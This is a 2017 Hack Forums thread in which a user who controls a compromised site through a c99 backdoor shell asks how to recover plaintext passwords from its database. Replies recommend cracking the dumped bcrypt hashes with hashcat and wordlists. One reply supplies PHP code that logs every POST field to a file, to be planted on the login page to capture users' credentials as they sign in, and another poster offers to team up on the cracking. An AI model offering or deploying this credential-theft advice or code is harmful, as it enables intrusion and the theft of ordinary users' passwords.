

Forum:[Hack Forums](#)

Thread: [Dumping Database using backdoor Shell](#)

allanburgs - November 12, 2017, 4:14 pm

Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash passwords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

here is a sample passwords.

\$2y\$10\$PoLDZ8ACLIoYUHMkXsSkI.JLYsZr6bcvwHZX7.0OuguHLCsb3yGsq

Berry White - November 12, 2017, 7:21 pm

(Nov 12, 2017 05:14 PM)allanburgs Wrote: [\[CITE\]](#) Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash passwords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

here is a sample passwords.

\$2y\$10\$PoLDZ8ACLIoYUHMkXsSkI.JLYsZr6bcvwHZX7.0OuguHLCsb3yGsq

Hahah ! I am affraid that its not possible.

The whole idea of encryption is to prevent that. So in the database, you can only find encrypted password(of course if encryption is used), nothing else. Sorry.

allanburgs - November 12, 2017, 10:09 pm

do u have idea how to crack that type of pass ,sir

Berry White - November 12, 2017, 11:32 pm

(Nov 12, 2017 11:09 PM)allanburgs Wrote: [\[CITE\]](#) do u have idea how to crack that type of pass ,sir Hashcat is for sure the best tool for that. It can be GPU based, and CPU based, but GPU based is usually best as said here:

<https://hashcat.net/forum/thread-6336.html>

And to find type of hash, you can use this website:

<https://www.onlinehashcrack.com/hash-identification.php>

As you see your hash is bcrypt, Blowfish(OpenBSD)

Oh and i forgot to say, you will need wordlist. You can find it on internet or build your own. Good luck with decrypting that hashes.

Hope i helped.

allanburgs - November 13, 2017, 10:21 am

thanks men , I guess cracking the cpanel is another option to get access to database without

wasting time decrypting those hashes ^_^

rtist - November 14, 2017, 9:25 am

Rainbow tables are your friend. Get hashing.
or dump the hashes for us.

SIM-1073426 - November 15, 2017, 10:13 am

(Nov 12, 2017 05:14 PM)allanburgs Wrote: [\[CITE\]](#) Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash passwords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

here is a sample passwords.

\$2y\$10\$PoLDZ8ACLIoYUHMkXsSkI.JLYsZr6bcvwHZX7.0OuguHLCsb3yGsq
That's Blowfish, good luck with that.

(Nov 12, 2017 08:21 PM)Berry White Wrote: [\[CITE\]](#) Hahah ! I am affraid that its not possible.

The whole idea of encryption is to prevent that. So in the database, you can only find encrypted password(of course if encryption is used), nothing else. Sorry.

Trying to get the cleartext value from the hash isn't the only option to get the password, you can still log the POST requests in the login page. You won't get all users passwords but you'll get the ones that login while you're logging the requests.

(Nov 14, 2017 10:25 AM)rtist Wrote: [\[CITE\]](#) Rainbow tables are your friend. Get hashing.
or dump the hashes for us.

Rainbow tables doesn't work against Blowfish.

Berry White - November 15, 2017, 8:56 pm

Quote:Trying to get the cleartext value from the hash isn't the only option to get the password, you can still log the POST requests in the login page. You won't get all users passwords but you'll get the ones that login while you're logging the requests.

Sorry but i dont understand what you mean?

Teferi - November 16, 2017, 7:10 am

(Nov 15, 2017 09:56 PM)Berry White Wrote: [\[CITE\]](#) Sorry but i dont understand what you mean?
Log all the user input:

PHP Code

```
<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
```

```
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
```

urbizupi - November 16, 2017, 11:49 am

(Nov 12, 2017 05:14 PM)allanburgs Wrote: [\[CITE\]](#) Hello , I just want to ask if theres another way to dump sql database passwords plaintext using backdoor shell.

my problem is ,when im dumping passwords from database it only shows the hash passwords ,.. and its very difficult to decrypt , is there other way to dump the passwords in plaintext using a c99 shell.

here is a sample passwords.

\$2y\$10\$PoLDZ8ACLIoYUHMkXsSkI.JLYsZr6bcvwHZX7.0OuguHLCsB3yGsQ

Hi if u wanna team up I can help u crack most of the passwords with hashcat like Berry White said.
Reply if u wanna team up.

Greetings, urbizupi

Berry White - November 16, 2017, 1:30 pm

(Nov 16, 2017 08:10 AM)K0eN Wrote: [\[CITE\]](#) Log all the user input:

PHP Code

```
<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
```

Oohh, i understand now, thanks mate.